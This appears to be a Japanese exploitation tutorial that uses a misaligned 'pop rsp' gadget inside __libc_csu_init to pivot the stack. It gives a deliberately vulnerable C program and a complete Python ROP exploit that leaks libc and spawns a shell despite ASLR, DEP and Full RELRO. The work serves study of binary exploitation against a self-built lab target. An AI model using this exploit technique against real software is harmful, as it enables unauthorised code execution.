x64で__libc_csu_init gadgetを使ったstack pivotをやってみる

「x64でDynamic ROP + Return-to-vulnによるASLR+DEP+RELRO回避をやってみる」では、leave命令がない実行ファイルに対してstack pivotを行わずに複数回のROPシーケンス実行を行った。 しかし、コンパイラによってはleave命令がない場合でも__libc_csu_init関数の中に含まれるgadgetを使うことでstack pivotを行える場合がある。 ここでは、そのような状況において__libc_csu_init関数を使ったstack pivotを行い、ASLR+DEP+FullRELROが有効な条件下におけるシェル起動をやってみる。

環境

Ubuntu 14.04.1 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.1 LTS
Release:        14.04
Codename:       trusty

$ clang --version
Ubuntu clang version 3.4-1ubuntu3 (tags/RELEASE_34/final) (based on LLVM 3.4)

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「x64でDynamic ROP + Return-to-vulnによるASLR+DEP+RELRO回避をやってみる」で使ったものと同じである。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 8);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ clang -fno-stack-protector -Wl,-z,relro,-z,now bof.c

$ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out
AAAA

r12とrspの関係に着目する

x86-64ではレジスタ間に下のような対応関係があり、REX prefixの有無で対象とするレジスタが切り替わるようになっている。

REX prefixなしraxrcxrdxrbxrsprbprsirdi
REX prefixありr8r9r10r11r12r13r14r15

たとえば、pop r12pop rspに対応する機械語を、「アセンブリ命令と機械語の相互変換」で説明したコマンドを用いて確認してみると次のようになる。

$ echo pop r12 | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 415C          pop r12

$ echo pop rsp | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 5C            pop rsp

上の結果から、REX prefixである41を取り除くとr12の代わりにrspに対する命令となることがわかる。 このことから、__libc_csu_init関数の終わりでpop r12が使われている場合、1バイトずらすことでpop rspを実行することができる。

一方、「x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる」での場合のように、pop命令でなくmov命令が使われている場合について調べてみると次のようになる。

$ echo "mov r12, [rsp+0x18]" | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 4C8B6424      mov r12,[rsp+0x18]
   1      18

$ echo "mov rsp, [rsp+0x18]" | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 488B6424      mov rsp,[rsp+0x18]
   1      18

$ echo "mov esp, [rsp+0x18]" | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 8B642418      mov esp,[rsp+0x18]

上の結果から、mov命令の場合1バイトずらすとrspではなくespへの操作となることがわかる。 つまり、この場合はrspの上位ビットを変更することができないため、多くの場合stack pivotに使うことはできない。

今回の環境では、コンパイル後の実行ファイルをディスアセンブルするとpop命令が使われていることが確認できる。 よって、以下に示すようにstack pivotに利用することが可能である。

エクスプロイトコードを書いてみる

最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。

$ readelf -S a.out > dump.txt

$ objdump -d a.out >> dump.txt

上で出力した情報をもとに、__libc_csu_init gadgetを使いstack pivotを行うエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_bss = 0x601010             # readelf -S a.out
addr_got_read = 0x600fe0        # objdump -d -j.plt a.out
addr_got_write = 0x600fd8       # objdump -d -j.plt a.out
addr_got_start = 0x600fe8       # objdump -d -j.plt a.out

addr_csu_init1 = 0x400656       # objdump -d a.out
addr_csu_init2 = 0x400640       # objdump -d a.out
addr_csu_init3 = 0x40065d       # objdump -d a.out --start-address=$((0x40065d))

"""
0000000000400600 <__libc_csu_init>:
  ...
  400640:       4c 89 ea                mov    rdx,r13
  400643:       4c 89 f6                mov    rsi,r14
  400646:       44 89 ff                mov    edi,r15d
  400649:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  40064d:       48 83 c3 01             add    rbx,0x1
  400651:       48 39 eb                cmp    rbx,rbp
  400654:       75 ea                   jne    400640 <__libc_csu_init+0x40>
  400656:       48 83 c4 08             add    rsp,0x8
  40065a:       5b                      pop    rbx
  40065b:       5d                      pop    rbp
  40065c:       41 5c                   pop    r12
  40065e:       41 5d                   pop    r13
  400660:       41 5e                   pop    r14
  400662:       41 5f                   pop    r15
  400664:       c3                      ret

000000000040065d <__libc_csu_init+0x5d>:
  40065d:       5c                      pop    rsp
  40065e:       41 5d                   pop    r13
  400660:       41 5e                   pop    r14
  400662:       41 5f                   pop    r15
  400664:       c3                      ret
"""

stacksize = 0x400
base_stage = addr_bss + stacksize

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

# stage 1:
# read address of __libc_start_main()

buf = 'A' * bufsize
buf += 'A' * (8-len(buf)%8)
buf += 'AAAAAAAA' * 2
buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, 8, addr_got_start, 1)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 400, base_stage, 0)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 0, 0, 0, 0, 0)
buf += struct.pack('<QQ', addr_csu_init3, base_stage)

p.stdin.write(struct.pack('<Q', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))
addr_libc_start = struct.unpack('<Q', p.stdout.read(8))[0]
print "[+] addr_libc_start = %x" % addr_libc_start

# stage 2:
# read libc binary

libc_readsize = 0x160000

buf = struct.pack('<Q', base_stage + 16)
buf += struct.pack('<Q', 0)
buf += "/bin/sh\x00"
buf += 'A' * (24-len(buf))
buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, libc_readsize, addr_libc_start, 1)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 100, base_stage + len(buf) + 8*16, 0)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 0, 0, 0, 0, 0)
buf += 'A' * (400-len(buf))

p.stdin.write(buf)
libc_bin = p.stdout.read(libc_readsize)
print "[+] len(libc_bin) = %x" % len(libc_bin)

# stage 3:
# execve("/bin/sh", {"/bin/sh", NULL}, NULL)

addr_pop_rax = addr_libc_start + libc_bin.index('\x58\xc3')  # pop rax; ret
addr_pop_rdi = addr_libc_start + libc_bin.index('\x5f\xc3')  # pop rdi; ret
addr_pop_rsi = addr_libc_start + libc_bin.index('\x5e\xc3')  # pop rsi; ret
addr_pop_rdx = addr_libc_start + libc_bin.index('\x5a\xc3')  # pop rdx; ret
addr_syscall = addr_libc_start + libc_bin.index('\x0f\x05')  # syscall

nr_execve = 59  # grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h

buf = struct.pack('<Q', addr_pop_rax)
buf += struct.pack('<Q', nr_execve)
buf += struct.pack('<Q', addr_pop_rdi)
buf += struct.pack('<Q', base_stage + 16)
buf += struct.pack('<Q', addr_pop_rsi)
buf += struct.pack('<Q', base_stage)
buf += struct.pack('<Q', addr_pop_rdx)
buf += struct.pack('<Q', 0)
buf += struct.pack('<Q', addr_syscall)
buf += 'A' * (100-len(buf))

p.stdin.write(buf)

p.stdin.write("exec /bin/sh <&2 >&2\n")
p.wait()

このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。

  1. __libc_csu_init gadgetsを使ってread/write関数を呼び出し、さらに__libc_csu_init関数内のpop rspを用いてstack pivotを行う
  2. Dynamic ROPによりメモリ上のlibcバイナリを読み出し、この中に含まれるgadgetを使ってexecveシステムコールを呼び出すことによりシェルを起動する

引数をセットし実行すると、次のようになる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd8\x0f`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\xe8\x0f`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00@\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe0\x0f`\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\x10\x14`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00]\x06@\x00\x00\x00\x00\x00\x10\x14`\x00\x00\x00\x00\x00'
[+] addr_libc_start = 7fc6100b6dd0
[+] len(libc_bin) = 160000
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

上の結果から、leave命令がない実行ファイルに対し、__libc_csu_init関数内のgadgetを使ったstack pivotによりASLR+DEP+FullRERLOが有効な条件下でシェルが起動できていることが確認できた。

関連リンク